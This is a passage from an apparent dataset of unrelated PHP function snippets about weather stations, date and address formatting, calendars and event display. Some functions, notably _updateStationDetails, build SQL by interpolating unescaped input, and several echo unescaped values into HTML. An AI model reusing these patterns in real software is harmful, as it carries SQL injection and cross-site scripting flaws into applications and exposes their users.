$this->decimalDegreesToDMS(abs($lat));\n $londms = $this->decimalDegreesToDMS(abs($lon));\n // TRANS: Used in coordinates as abbreviation of north.\n $north = _('N');\n // TRANS: Used in coordinates as abbreviation of south.\n $south = _('S');\n // TRANS: Used in coordinates as abbreviation of east.\n $east = _('E');\n // TRANS: Used in coordinates as abbreviation of west.\n $west = _('W');\n $name = sprintf(\n // TRANS: Coordinates message.\n // TRANS: %1$s is lattitude degrees, %2$s is lattitude minutes,\n // TRANS: %3$s is lattitude seconds, %4$s is N (north) or S (south) depending on lattitude,\n // TRANS: %5$s is longitude degrees, %6$s is longitude minutes,\n // TRANS: %7$s is longitude seconds, %8$s is E (east) or W (west) depending on longitude,\n _('%1$u°%2$u\\'%3$u\"%4$s %5$u°%6$u\\'%7$u\"%8$s'),\n $latdms['deg'],$latdms['min'], $latdms['sec'],($lat>0? $north:$south),\n $londms['deg'],$londms['min'], $londms['sec'],($lon>0? $east:$west));\n }\n\n $url = $location->getUrl();\n\n $this->out->text(' ');\n $this->out->elementStart('span', array('class' => 'location'));\n // TRANS: Followed by geo location.\n $this->out->text(_('at'));\n $this->out->text(' ');\n if (empty($url)) {\n $this->out->element('abbr', array('class' => 'geo',\n 'title' => $latlon),\n $name);\n } else {\n $xstr = new XMLStringer(false);\n $xstr->elementStart('a', array('href' => $url,\n 'rel' => 'external'));\n $xstr->element('abbr', array('class' => 'geo',\n 'title' => $latlon),\n $name);\n $xstr->elementEnd('a');\n $this->out->raw($xstr->getString());\n }\n $this->out->elementEnd('span');\n }", "private function _updateStationDetails($stationInformationArray)\n {\n //'f_latitude' => NULL, 'f_longitude' => NULL, 'f_altitude' => NULL, /* DO NOT UPDATE THIS */\n $fiedsList = array(\n 'f_station_code' => NULL,\n 'f_date' => NULL,\n 'f_dev_id' => NULL,\n 'f_name' => NULL,\n 'f_descr' => NULL,\n 'f_info' => NULL,\n 'f_uid' => NULL,\n 'f_status' => NULL,\n 'f_create_time' => NULL,\n 'f_master_name' => NULL,\n 'f_date_min' => NULL,\n 'f_date_max' => NULL,\n 'f_date_last_down' => NULL,\n 'f_date_sens' => NULL,\n 'f_date_data' => NULL,\n 'f_date_conf' => NULL,\n 'f_measure_int' => NULL,\n 'f_data_int' => NULL,\n 'f_timezone' => NULL,\n 'f_hw_ver_major' => NULL,\n 'f_hw_ver_minor' => NULL,\n 'f_sw_ver_major' => NULL,\n 'f_sw_ver_minor' => NULL,\n 'f_sms_warn_numbers' => NULL,\n 'f_sms_warn_values' => NULL,\n 'f_gsm_mcc' => NULL,\n 'f_gsm_mnc' => NULL,\n 'f_gprs_apn' => NULL,\n 'f_gprs_user_id' => NULL,\n 'f_gprs_passw' => NULL,\n 'f_sernum' => NULL,\n 'f_date_comm' => NULL,\n 'f_user_station_name' => NULL,\n 'f_user_name' => NULL,\n );\n $updateString = \"\";\n foreach($fiedsList as $key => $val)\n {\n if(isset($stationInformationArray->{$key}))\n {\n switch ($key):\n case'f_latitude':\n case'f_longitude':\n if(!empty($stationInformationArray->{$key}))\n {\n $stationInformationArray->{$key} = recoverLatLongData($stationInformationArray->{$key}, str_replace(\"f_\", \"\", $key));\n }\n break;\n default:\n break;\n endswitch;\n $updateString .= \"\\n `{$key}` = \" . check_null_val(process_plain_text($stationInformationArray->{$key})) . \" ,\";\n }\n }\n if(trim($updateString))\n {\n $query = \"\n UPDATE\n `\" . DBT_PREFIX . \"station_info`\n SET\n {$updateString}\n `last_update_date` = UNIX_TIMESTAMP()\n WHERE\n `f_name` = '{$stationInformationArray->f_name}'\n LIMIT\n 1\n \";\n\n sql_select($query, $results);\n\n return $stationInformationArray->f_name . \" updated\";\n }else\n {\n return false;\n }\n }", "function formatUnit($value,$name,$short_name,$symbol,$format)\n\t{\n\t $result=$format;\n\t $result=str_replace('%(v)',$value,$result);\n\t $result=str_replace('%(n)',$name,$result);\n\t $result=str_replace('%(sn)',$short_name,$result);\n\t $result=str_replace('%(s)',$symbol,$result);\n\t if ($result=='') {$result=$value;}\n\t return $result;\n\t}", "public function info()\n{\necho \"Informations en date du \",date(\"d/m/Y H:i:s\"),\"<br>\";\n\n$now=getdate();\n$heure= $now[\"hours\"];\n$jour= $now[\"wday\"];\n\necho \"<h3>Horaires des cotations</h3>\";\nif(($heure>=9 && $heure <=17)&& ($jour!=0 && $jour!=6))\n{ echo \"La Bourse de Paris est ouverte <br>\"; }\nelse\n{ echo \"La Bourse de Paris est fermée <br>\"; }\nif(($heure>=16 && $heure <=23)&& ($jour!=0 && $jour!=6) )\n{ echo \"La Bourse de New York est ouverte <hr>\"; }\nelse\n{ echo \"La Bourse de New York est fermée <hr>\"; }\n}", "public function run()\n {\n $station_func = array(array('station'=>'Headquarters', 'function'=>'AIM Products Management'),\n\t\t\t\t\t\tarray('station'=>'Jomo Kenyatta International Airport', 'function'=>'AIS Products Management'),\n\t\t\t\t\t\tarray('station'=>'Jomo Kenyatta International Airport NOF', 'function'=>'AIS Products Management'),\n\t\t\t\t\t\tarray('station'=>'Nairobi Wilson Airport', 'function'=>'AIS Products Management'),\n\t\t\t\t\t\tarray('station'=>'Moi International Airport', 'function'=>'AIS Products Management'),\n\t\t\t\t\t\tarray('station'=>'Eldoret International Airport', 'function'=>'AIS Products Management'),\n\t\t\t\t\t\tarray('station'=>'Kisumu Airport', 'function'=>'AIS Products Management'),\n\t\t\t\t\t\tarray('station'=>'Malindi Airport', 'function'=>'AIS Products Management'),\n\t\t\t\t\t\tarray('station'=>'Wajir Airport', 'function'=>'AIS Products Management'),\n\t\t\t\t\t\tarray('station'=>'Lokochoggio Airport', 'function'=>'AIS Products Management'),\n\t\t\t\t\t\t\n\t\t\t\t\t\tarray('station'=>'Jomo Kenyatta International Airport', 'function'=>'Flight Planning Management'),\n\t\t\t\t\t\tarray('station'=>'Nairobi Wilson Airport', 'function'=>'Flight Planning Management'),\n\t\t\t\t\t\tarray('station'=>'Moi International Airport', 'function'=>'Flight Planning Management'),\n\t\t\t\t\t\tarray('station'=>'Eldoret International Airport', 'function'=>'Flight Planning Management'),\n\t\t\t\t\t\tarray('station'=>'Kisumu Airport', 'function'=>'Flight Planning Management'),\n\t\t\t\t\t\tarray('station'=>'Malindi Airport', 'function'=>'Flight Planning Management'),\n\t\t\t\t\t\tarray('station'=>'Wajir Airport', 'function'=>'Flight Planning Management'),\n\t\t\t\t\t\tarray('station'=>'Lokochoggio Airport', 'function'=>'Flight Planning Management'),\n\t\t\t\t\t\t\n\t\t\t\t\t\tarray('station'=>'Headquarters', 'function'=>'Maps and Charts Management'),\n\t\t\t\t\t\tarray('station'=>'Headquarters', 'function'=>'Terrain and Obstacle Data Management'),\n\t\t\t\t\t\tarray('station'=>'Headquarters', 'function'=>'Instrument/Visual flight procedure design'),\n\t\t\t\t\t\t\n\t\t\t\t\t\tarray('station'=>'Headquarters', 'function'=>'Technical library'),\n\t\t\t\t\t\tarray('station'=>'Jomo Kenyatta International Airport', 'function'=>'Technical library'),\n\t\t\t\t\t\tarray('station'=>'Jomo Kenyatta International Airport NOF', 'function'=>'Technical library'),\n\t\t\t\t\t\tarray('station'=>'Nairobi Wilson Airport', 'function'=>'Technical library'),\n\t\t\t\t\t\tarray('station'=>'Moi International Airport', 'function'=>'Technical library'),\n\t\t\t\t\t\tarray('station'=>'Eldoret International Airport', 'function'=>'Technical library'),\n\t\t\t\t\t\tarray('station'=>'Kisumu Airport', 'function'=>'Technical library'),\n\t\t\t\t\t\tarray('station'=>'Malindi Airport', 'function'=>'Technical library'),\n\t\t\t\t\t\tarray('station'=>'Wajir Airport', 'function'=>'Technical library'),\n\t\t\t\t\t\tarray('station'=>'Lokochoggio Airport', 'function'=>'Technical library'),\n\t\t);\n\t\t\n\t\t$stations = Station::all();\n\t\t$functions = Func::all();\n\t\t\n\t\tfor($i = 0; $i < count($station_func); $i++){\n\t\t\tforeach($stations as $station){\n\t\t\t\tif($station_func[$i]['station'] == $station->name){\n\t\t\t\t\tforeach($functions as $function){\n\t\t\t\t\t\tif($station_func[$i]['function'] == $function->name){\n\t\t\t\t\t\t\t$station->func()->attach($function);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n }", "public function format() { \n\n\t\t$this->f_name = truncate_with_ellipsis($this->name,Config::get('ellipse_threshold_title'));\n\t\t$this->f_link = '<a href=\"' . Config::get('web_path') . '/playlist.php?action=show_playlist&amp;playlist_id=' . $this->id . '\">' . $this->f_name . '</a>'; \n\n\t\t$this->f_type = ($this->type == 'private') ? get_user_icon('lock',_('Private')) : ''; \n\n\t\t$client = new User($this->user); \n\n\t\t$this->f_user = $client->fullname; \n\n\t}", "public function show($id)\n {\n $station = Station::findOrFail($id);\n\n return view('stations.show')->withStation($station);\n }", "public function show(ZoznamStn $zoznamStn)\n {\n //\n }", "public function render(){\n\t\t$prefix = su_cmpt();\n\t\t\n\t\t$location = (isset($this->addon->settings->location) && $this->addon->settings->location) ? $this->addon->settings->location : 'Boston, MA';\n\t\t$country = (isset($this->addon->settings->country) && $this->addon->settings->country) ? $this->addon->settings->country : 'USA';\n\t\t$forecast = (isset($this->addon->settings->forecast) && $this->addon->settings->forecast) ? $this->addon->settings->forecast : '4';\n\t\t$color = (isset($this->addon->settings->color) && $this->addon->settings->color) ? $this->addon->settings->color : '#ffffff';\n\t\t$background = (isset($this->addon->settings->background) && $this->addon->settings->background) ? $this->addon->settings->background : '#8DD438';\n\t\t$padding = (isset($this->addon->settings->padding) && $this->addon->settings->padding) ? $this->addon->settings->padding : '25px';\n\t\t$margin = (isset($this->addon->settings->margin) && $this->addon->settings->margin) ? $this->addon->settings->margin : '0px';\n\t\t\n\t\t$city_only = ( $this->addon->settings->city_only == 1 ) ? 'yes' : 'no';\n\t\t\n\t\t$class = (isset($this->addon->settings->class) && $this->addon->settings->class) ? $this->addon->settings->class : '';\n\t\t$api = (isset($this->addon->settings->api) && $this->addon->settings->api) ? $this->addon->settings->api : '';\n\t\t$view = (isset($this->addon->settings->view) && $this->addon->settings->view) ? $this->addon->settings->view : '';\n\t\t$units = (isset($this->addon->settings->units) && $this->addon->settings->units) ? $this->addon->settings->units : '';\n\n\t\t// Output\n\t\t$output = '<div class=\"bdt-addon bdt-addon-weather ' . $class .'\">';\n\t\t$output .= su_do_shortcode('['.$prefix.'weather location=\"'.$location.'\" country=\"'.$country.'\" city_only=\"'.$city_only.'\" forecast=\"'.$forecast.'\" api=\"'.$api.'\" view=\"'.$view.'\" units=\"'.$units.'\" color=\"inherit\" background=\"inherit\"]');\n\t\t$output .= '</div>';\n\n\t\treturn $output;\n\t}", "public function toString()\n {\n /** @var $this TrainBoardingCard */\n return 'Take train ' . $this->train . ' from ' . $this->get('departureLocation') . ' to ' . $this->get('arrivalLocation') . '. Sit in seat ' . $this->get('seat') . '.';\n }", "function format($format){\r\n \tglobal $Aplic;\r\n $saida = \"\";\r\n\r\n for($strpos = 0; $strpos < strlen($format); $strpos++) {\r\n $char = substr($format,$strpos,1);\r\n if($char == \"%\") {\r\n $prox_caracter = substr($format,$strpos + 1,1);\r\n switch($prox_caracter) {\r\n case \"a\":\r\n $saida .= Data_Calc::getSemanaNomeAbrev($this->dia,$this->mes,$this->ano);\r\n break;\r\n case \"A\":\r\n $saida .= Data_Calc::getSemanaNomeCompl($this->dia,$this->mes,$this->ano);\r\n break;\r\n case \"b\":\r\n\t\t\t\t\t\tsetlocale(LC_TIME, $Aplic->usuario_linguagem);\r\n $saida .= Data_Calc::getMesNomeAbrev($this->mes);\r\n\t\t\t\t\t\tsetlocale(LC_ALL, $Aplic->usuario_linguagem);\r\n break;\r\n case \"B\":\r\n $saida .= Data_Calc::getMesNomeCompl($this->mes);\r\n break;\r\n case \"C\":\r\n $saida .= sprintf(\"%02d\",intval($this->ano/100));\r\n break;\r\n case \"d\":\r\n $saida .= sprintf(\"%02d\",$this->dia);\r\n break;\r\n case \"D\":\r\n $saida .= sprintf(\"%02d/%02d/%02d\",$this->mes,$this->dia,$this->ano);\r\n break;\r\n case \"e\":\r\n $saida .= $this->dia;\r\n break;\r\n case \"E\":\r\n $saida .= Data_Calc::dataParaDias($this->dia,$this->mes,$this->ano);\r\n break;\r\n case \"H\":\r\n $saida .= sprintf(\"%02d\", $this->hora);\r\n break;\r\n case \"I\":\r\n $hora = ($this->hora + 1) > 12 ? $this->hora - 12 : $this->hora;\r\n $saida .= sprintf(\"%02d\", $hora==0 ? 12 : $hora);\r\n break;\r\n case \"j\":\r\n $saida .= Data_Calc::dataJuliana($this->dia,$this->mes,$this->ano);\r\n break;\r\n case \"m\":\r\n $saida .= sprintf(\"%02d\",$this->mes);\r\n break;\r\n case \"M\":\r\n $saida .= sprintf(\"%02d\",$this->minuto);\r\n break;\r\n case \"n\":\r\n $saida .= \"\\n\";\r\n break;\r\n case \"O\":\r\n $offms = $this->tz->getOffset($this);\r\n $direcao = $offms >= 0 ? \"+\" : \"-\";\r\n $offmins = abs($offms) / 1000 / 60;\r\n $horas = $offmins / 60;\r\n $minutos = $offmins % 60;\r\n $saida .= sprintf(\"%s%02d:%02d\", $direcao, $horas, $minutos);\r\n break;\r\n case \"o\":\r\n $offms = $this->tz->getRawOffset($this);\r\n $direcao = $offms >= 0 ? \"+\" : \"-\";\r\n $offmins = abs($offms) / 1000 / 60;\r\n $horas = $offmins / 60;\r\n $minutos = $offmins % 60;\r\n $saida .= sprintf(\"%s%02d:%02d\", $direcao, $horas, $minutos);\r\n break;\r\n case \"p\":\r\n $saida .= $this->hora >= 12 ? \"pm\" : \"am\";\r\n break;\r\n case \"P\":\r\n $saida .= $this->hora >= 12 ? \"PM\" : \"AM\";\r\n break;\r\n case \"r\":\r\n $hora = ($this->hora + 1) > 12 ? $this->hora - 12 : $this->hora;\r\n $saida .= sprintf(\"%02d:%02d:%02d %s\", $hora==0 ? 12 : $hora, $this->minuto, $this->segundo, $this->hora >= 12 ? \"PM\" : \"AM\");\r\n break;\r\n case \"R\":\r\n $saida .= sprintf(\"%02d:%02d\", $this->hora, $this->minuto);\r\n break;\r\n case \"S\":\r\n $saida .= sprintf(\"%02d\", $this->segundo);\r\n break;\r\n case \"t\":\r\n $saida .= \"\\t\";\r\n break;\r\n case \"T\":\r\n $saida .= sprintf(\"%02d:%02d:%02d\", $this->hora, $this->minuto, $this->segundo);\r\n break;\r\n case \"w\":\r\n $saida .= Data_Calc::diaDaSemana($this->dia,$this->mes,$this->ano);\r\n break;\r\n case \"U\":\r\n $saida .= Data_Calc::semanaDoAno($this->dia,$this->mes,$this->ano);\r\n break;\r\n case \"y\":\r\n $saida .= substr($this->ano,2,2);\r\n break;\r\n case \"Y\":\r\n $saida .= $this->ano;\r\n break;\r\n case \"Z\":\r\n $saida .= $this->tz->inDaylightTime($this) ? $this->tz->getDSTNomeCurto() : $this->tz->getNomeCurto();\r\n break;\r\n case \"%\":\r\n $saida .= \"%\";\r\n break;\r\n default:\r\n $saida .= $char.$prox_caracter;\r\n }\r\n $strpos++;\r\n } else {\r\n $saida .= $char;\r\n }\r\n }\r\n return $saida;\r\n\r\n }", "public function format() {\r\n\t\t$this->resource->format();\r\n\t}", "Public static function displayCalender($array)\n {\n echo \"Sun Mon Tue Wed Thu Fri Sat\\n\";\n for ($i = 0; $i < 6; $i++) \n {\n for ($j = 0; $j < 7; $j++) \n {\n if ($array[$i][$j] == '-' || $array[$i][$j] > 31) \n {\n //replacing with spaces\n echo \" \";\n } \n else \n {\n if ($array[$i][$j] < 10) \n {\n //giving 5 space after single digit\n echo $array[$i][$j] . \" \";\n } \n else \n {\n //giving 4 space after two digit number\n echo $array[$i][$j] . \" \";\n }\n }\n }\n echo \"\\n\";\n }\n }", "protected function setStationDataParams($component){\n\t\t$unit=\"\";\n\t\t$query = \"\";\n\t\t$table = \"sd_evs\";\n\t\t$errorbar = false;\n\t\t$style = \"dot\";\n\t\tif($component == 'S-P Arrival Time'){\n\t\t\t$unit = \"s\"; \n\t\t\t$attribute = \"sd_evs_spint\";\n\t\t\t$query = \"select a.sd_evs_eqtype as filter,a.sd_evs_time as time, a.$attribute as value from $table as a where a.ss_id=%s and a.$attribute IS NOT NULL and a.sd_evs_pubdate <= now()\";\n\t\t}else if($component == 'Epicenter From Vent'){\n\t\t\t$unit = \"km\";\n\t\t\t$attribute = \"sd_evs_dist_actven\";\n\t\t\t$query = \"select a.sd_evs_eqtype as filter,a.sd_evs_time as time, a.$attribute as value from $table as a where a.ss_id=%s and a.$attribute IS NOT NULL and a.sd_evs_pubdate <= now()\";\n\t\t}else if($component == 'Earthquake Maximum Amplitude'){\n\t\t\t$unit = \"cm\";\n\t\t\t$attribute = \"sd_evs_maxamptrac\";\n\t\t\t$query = \"select a.sd_evs_eqtype as filter,a.sd_evs_time as time, a.$attribute as value from $table as a where a.ss_id=%s and a.$attribute IS NOT NULL and a.sd_evs_pubdate <= now()\";\n\t\t}else if($component == 'Earthquake Dominant Frequency'){\n\t\t\t$unit = \"Hz\";\n\t\t\t$attribute = \"sd_evs_domFre\";\n\t\t\t$query = \"select a.sd_evs_eqtype as filter,a.sd_evs_time as time, a.$attribute as value from $table as a where a.ss_id=%s and a.$attribute IS NOT NULL and a.sd_evs_pubdate <= now()\";\n\t\t}else if($component == 'Earthquake Magnitude'){\n\t\t\t$unit = \"Hz\";\n\t\t\t$attribute = \"sd_evs_mag\"; \n\t\t\t$query = \"select a.sd_evs_eqtype as filter,a.sd_evs_time as time, a.$attribute as value from $table as a where a.ss_id=%s and a.$attribute IS NOT NULL and a.sd_evs_pubdate <= now()\";\n\t\t}else if($component == 'Earthquake Energy'){\n\t\t\t$unit = \"Erg\";\n\t\t\t$attribute = \"sd_evs_energy\"; \n\t\t\t$query = \"select a.sd_evs_eqtype as filter,a.sd_evs_time as time,a.$attribute as value from $table as a where a.ss_id=%s and a.$attribute IS NOT NULL and a.sd_evs_pubdate <= now()\";\n\t\t}\n\t\t$result = array(\"unit\" => $unit,\n\t\t\t\t\t\t\"style\" => $style,\n\t\t\t\t\t\t\"errorbar\" => $errorbar,\n\t\t\t\t\t\t\"query\" =>$query\n\t\t\t\t\t\t);\n\t\treturn $result;\n\t}", "function display() {\n\t\t$events = $this->events;\n\t\tif (!$events) return '';\n\t\t$olddate = '';\n\t\t$displaystring .= '<div class=\"gw-post\">';\n\n\t\tforeach($events as $event) {\n\t\t\t$start = $event['starttime'];\n\t\t\t// check for new dates\n\t\t\t$newdate = date('l, n/j/y', $start);\n\t\t\tif (strcmp($newdate, $olddate)) {\n\t\t\t\t// $newdate != $olddate\n\t\t\t\t$displaystring .= '<div class=\"gw-date-wrap\"><div class=\"gw-date\">' . $newdate . '</div></div>';\n\t\t\t\t$olddate = $newdate;\n\t\t\t}\n\t\t\tif ($event['isfeatured']) {\n\t\t\t $displaystring .= '<div class=\"gw-featured\">';\n\t\t\t}\n\t\t\tif ($event['post_link']) {\n\t\t\t $displaystring .= '<a href=\"'.$event['post_link'].'\">';\n\t\t\t}\n\t\t\t$displaystring .= '<div class=\"gw-event ' . $event['tag'] . '\">';\n\t\t\t$displaystring .= '<span class=\"gw-bullet\">&nbsp;</span><div class=\"gw-time\">' . date('g:i a', $start) . '</div>';\n\t\t\t$displaystring .= '<div class=\"gw-title\">' . $event['title'];\n\t\t\tif ($event['location']) {\n\t\t\t\t$displaystring .= ' @ ' . $event['location'] . $this->displayMap($event['address']);\n\t\t\t}\n\t\t\t$displaystring .= '</div>'; //close .gw-title\n\t\t\t$displaystring .= '</div>'; // close .gw-event \n\t\t\tif ($event['post_link']) {\n\t\t\t $displaystring .= '</a>';\n\t\t\t}\n\t\t\tif ($event['isfeatured']) {\n\t\t\t $displaystring .= '</div>';\n\t\t\t}\n\t\t\t\n\n\t\t} // end foreach\n\t\t\n\t\t$displaystring .= '</div>'; // close .textwidget\n\t\treturn $displaystring;\n\t}", "public function display()\n {\n echo \"temperature:{$this->_subject->getTemperature()},humidity:{$this->_subject->getHumidity()},pressure:{$this->_subject->getPressure()}\" . PHP_EOL;\n }", "protected function _parseStation($station)\n {\n // @TODO: Create a subclass of Station for wunderground, parse the\n // \"close stations\" and \"pws\" properties - allow for things like\n // displaying other, nearby weather station conditions etc...\n $properties = array(\n 'city' => $station->city,\n 'state' => $station->state,\n 'country' => $station->country_iso3166,\n 'country_name' => $station->country_name,\n 'tz' => $station->tz_long,\n 'lat' => $station->lat,\n 'lon' => $station->lon,\n 'zip' => $station->zip,\n 'code' => str_replace('/q/', '', $station->l)\n );\n\n return new Horde_Service_Weather_Station($properties);\n }", "public function show($id)\n\t{\n\t\t$station = $this->station->findOrFail($id);\n\t\t$branches = DB::table('branches')->get();\n\t\treturn View::make('stations.show', compact('station'))\n\t\t->with('branches', $branches);\n\n\t}", "function format()\r\n\t{\r\n\t\treturn $this->text;\r\n\t}", "public function allStations() {\n\t\t$data ['stations'] = $this->_station->getStations($keyword);\n\t\t//print_r($data ['stations']);\n\t\theader('Content-Type: application/json');\n\t\techo json_encode($data ['stations']);\n\t}", "private function _addStation($stationInformationArray)\n {\n $fiedsList = array(\n 'f_station_code', 'f_date', 'f_dev_id', 'f_name', 'f_descr', 'f_info', 'f_uid',\n 'f_status', 'f_create_time', 'f_master_name', 'f_date_min', 'f_date_max', 'f_date_last_down',\n 'f_date_sens', 'f_date_data', 'f_date_conf', 'f_measure_int', 'f_data_int', 'f_timezone',\n 'f_latitude', 'f_longitude', 'f_altitude', 'f_hw_ver_major', 'f_hw_ver_minor', 'f_sw_ver_major',\n 'f_sw_ver_minor', 'f_sms_warn_numbers', 'f_sms_warn_values', 'f_gsm_mcc', 'f_gsm_mnc', 'f_gprs_apn',\n 'f_gprs_user_id', 'f_gprs_passw', 'f_sernum', 'f_date_comm', 'f_user_station_name', 'f_user_name',\n 'custom_name', 'custom_desc', 'custom_image', 'enable_station', 'show_in_home', 'priority', 'last_editor'\n );\n foreach($fiedsList as $key)\n {\n if(!isset($stationInformationArray->{$key}))\n {\n $stationInformationArray->{$key} = NULL;\n }else\n {\n switch ($key):\n case'f_latitude':\n case'f_longitude':\n if (!empty($stationInformationArray->{$key})) {\n $stationInformationArray->{$key} = recoverLatLongData($stationInformationArray->{$key}, str_replace(\"f_\", \"\", $key));\n }\n break;\n default:\n break;\n endswitch;\n }\n }\n $newStation = new Station(\n null,\n $stationInformationArray->f_station_code,\n $stationInformationArray->f_date,\n $stationInformationArray->f_dev_id,\n $stationInformationArray->f_name,\n $stationInformationArray->f_descr,\n $stationInformationArray->f_info,\n $stationInformationArray->f_uid,\n $stationInformationArray->f_status,\n $stationInformationArray->f_create_time,\n $stationInformationArray->f_master_name,\n $stationInformationArray->f_date_min,\n $stationInformationArray->f_date_max,\n $stationInformationArray->f_date_last_down,\n $stationInformationArray->f_date_sens,\n $stationInformationArray->f_date_data,\n $stationInformationArray->f_date_conf,\n $stationInformationArray->f_measure_int,\n $stationInformationArray->f_data_int,\n $stationInformationArray->f_timezone,\n $stationInformationArray->f_latitude,\n $stationInformationArray->f_longitude,\n $stationInformationArray->f_altitude,\n $stationInformationArray->f_hw_ver_major,\n $stationInformationArray->f_hw_ver_minor,\n $stationInformationArray->f_sw_ver_major,\n $stationInformationArray->f_sw_ver_minor,\n $stationInformationArray->f_sms_warn_numbers,\n $stationInformationArray->f_sms_warn_values,\n $stationInformationArray->f_gsm_mcc,\n $stationInformationArray->f_gsm_mnc,\n $stationInformationArray->f_gprs_apn,\n $stationInformationArray->f_gprs_user_id,\n $stationInformationArray->f_gprs_passw,\n $stationInformationArray->f_sernum,\n $stationInformationArray->f_date_comm,\n $stationInformationArray->f_user_station_name,\n $stationInformationArray->f_user_name,\n $custom_name = null,\n $custom_desc = null,\n $custom_image = null,\n 1,\n (($stationInformationArray->f_latitude && $stationInformationArray->f_longitude)?(1):(0)),\n $priority = null,\n $last_update_date = null,\n $last_edition_time = null,\n $last_editor = null);\n\n if($newStation->save())\n {\n return $stationInformationArray->f_name . \" added\";\n }else\n {\n return $stationInformationArray->f_name . \" ERROR SAVING DATA\";\n }\n }", "public function __toString()\n {\n return $this->getNaam() . \" : \" . $this->getStartDatum()->format('d-m-Y') . (($this->getEindDatum() != null) ? \" - \" . $this->getEindDatum()->format('d-m-Y') : \"\");\n }", "public function displaynow()\n\t{\n\t\treturn $this->CLI->stringQuery($this->SqueezePlyrID.\" displaynow ? ?\");\n\t}", "public function get_station($id, $queryargs = array()) {\n return $this->get_item_of_type($id, 'station', $queryargs);\n }", "public function driveFormat() {\r\n return \"\";\r\n }", "public function formatShort()\n {\n switch (true) {\n case $this->seconds < self::TO_MINUTE:\n return sprintf('%d s', $this->seconds);\n case $this->seconds < self::TO_HOUR:\n return sprintf('%d min', $this->toMinutes());\n case $this->seconds < self::TO_DAY:\n return sprintf('%d h', $this->toHours());\n default:\n return sprintf('%d d', $this->toDays());\n }\n }", "function displayWarehouses($num, $addr, $city, $state, $zip, $quant) {\n echo \"\n <h2>Warehouse #\" . $num . \"</h2>\n <ul class='summaryList'>\n <li>Street Address: <i>'\" . $addr . \"'</i></li>\n <li>City: <i>'\" . $city . \"'</i></li>\n <li>State: <i>'\" . $state . \"'</i></li>\n <li>Zip-Code: <i>'\" . $zip . \"'</i></li>\n <li>Quantity Shipping: <i>'\" . $quant . \"'</i></li>\n </ul>\n \";\n }", "public function create($station,$line = null)\n {\n //\n $data = [];\n\n $data['station'] = mesStation::where('STNID',$station)->first();\n $data['prodline'] = $line;\n\n $line_info = ProductionLine::where(\"LINCODE\",$line)->first();\n\n $data['registration'] = $line == null ? \"\" : $line_info->LINCAT;\n $data['linedesc'] = $line == null ? \"\" : $line_info->LINDESC;\n\n $time = date('H:i');\n\n if ($time < date('H:i',strtotime('06:00'))) {\n $date = date('Y-m-d',strtotime('-1 days',strtotime('Today')));\n } else {\n $date = date('Y-m-d',strtotime('Today'));\n }\n\n $data['date'] = $date;\n\n if ($time >= date('H:i',strtotime('06:00')) && $time < date('H:i',strtotime('14:00'))) {\n $shift = 'A';\n } else if ($time >= date('H:i',strtotime('14:00')) && $time < date('H:i',strtotime('22:00'))) {\n $shift = 'B';\n } else {\n $shift = 'C';\n }\n\n $data['shift'] = $shift;\n\n return view('mes.vue.mes',$data);\n // return view('mes.transactions.trx',$data);\n }", "public function setVenue()\n {\n // Set the font.\n $this->AddFont('MTCORSVA', '', 'MTCORSVA.php');\n $this->SetFont('MTCORSVA', '', 18);\n\n // Line break.\n $this->Ln(11);\n\n $this->Cell(259, 35, 'Given this ' . date('jS \\d\\a\\y \\of F, Y', strtotime($this->aScheduleDetails['toDate'])) . ' at', 0, 0, 'C');\n\n // Line break.\n $this->Ln(10);\n\n $this->Cell(259, 35, $this->aScheduleDetails['address'], 0, 0, 'C');\n }", "public function index($id){\n $StationData = Station::StationWhereMemberId($id)->first();\n //$StationData = Station::where('Member_ID',$id)->first();\n // $gammaDoseRates = 1500;\n $gammaDoseRates = SensorValue::GammaValue($id)->orderById()->first();\n //$termoDeg = 100;\n $termoDeg = SensorValue::TermoDegValue($id)->OrderById()->first();\t\n //$windDir = \"NNE\";\n $windDir = SensorValue::WindDirValue($id)->OrderById()->first();\n if($windDir){\n\t\t$num = $windDir->SValue;\n $windDir = SensorValue::DegToCompass($num);\n\t}\t\n //$windSpeed = 25;\n $windSpeed = SensorValue::WindSpeedValue($id)->OrderById()->first();\n //$solarRad = 94;\n $solarRad = SensorValue::SolarRadValue($id)->OrderById()->first();\n //$barometer = 1000;\n $barometer = SensorValue::BarometerValue($id)->OrderById()->first();\n //$percipitation = 0;\n $percipitation = SensorValue::PercipitationValue($id)->OrderById()->first();\n //$humidity = 100;\n $humidity = SensorValue::HumidityValue($id)->OrderById()->first();\n\n date_default_timezone_set(\"Asia/Jakarta\");\n\n return view('user.StationLastValue', compact('nameStation', 'termoDeg', 'windDir', 'windSpeed', 'solarRad', 'gammaDoseRates', 'barometer',\n 'percipitation', 'humidity', 'StationData','asd','asdasdasdasd'));\n }", "public function toString()\n {\n return 'Spending Rates form is available.';\n }", "function Station($m, $d) {\n\t\t$this->marker = $m;\n\t\t$this->dist2loc = $d;\n\t}", "private function formatAddress()\n\t{\n\t\t$address = '';\n\n\t\t// street + number\n\t\t$address .= $this->street;\n\t\tif ($this->number)\n\t\t{\n\t\t\tif ($this->language === 'cs')\n\t\t\t{\n\t\t\t\t$address .= ' ' . $this->number;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$address = $this->number . ' ' . $address;\n\t\t\t}\n\t\t}\n\n\t\t// use \"Praha 1\" instead of \"Praha 1, Praha\"\n\t\tif (substr($this->quarter, 0, strlen($this->town)) === $this->town)\n\t\t{\n\t\t\t$useQuarter = TRUE;\n\t\t}\n\n\t\tif (!$address)\n\t\t{\n\t\t\t// [neighborhood]\n\t\t\t$address .= $this->neighborhood;\n\n\t\t\t// [quarter]\n\t\t\tif (!isset($useQuarter))\n\t\t\t{\n\t\t\t\t$address .= $this->quarter;\n\t\t\t}\n\t\t}\n\n\t\t// town [+ zip]\n\t\tif ($address)\n\t\t{\n\t\t\t$address .= ', ';\n\t\t}\n\t\tif ($this->language === 'cs' && $this->postalCode)\n\t\t{\n\t\t\t$address .= $this->postalCode . ' ';\n\t\t}\n\t\t$address .= isset($useQuarter) ? $this->quarter : $this->town;\n\n\t\t// [district]\n\t\tif (!$address)\n\t\t{\n\t\t\t$address .= $this->district;\n\t\t}\n\n\t\t// [region]\n\t\tif (!$address)\n\t\t{\n\t\t\t$address .= $this->region;\n\t\t}\n\n\t\t// state\n\t\tif ($address && ($this->state || $this->stateCode))\n\t\t{\n\t\t\t$address .= ', ';\n\t\t}\n\t\t$address .= $this->stateCode ?: $this->state;\n\n\t\t// [zip]\n\t\tif ($address && $this->language !== 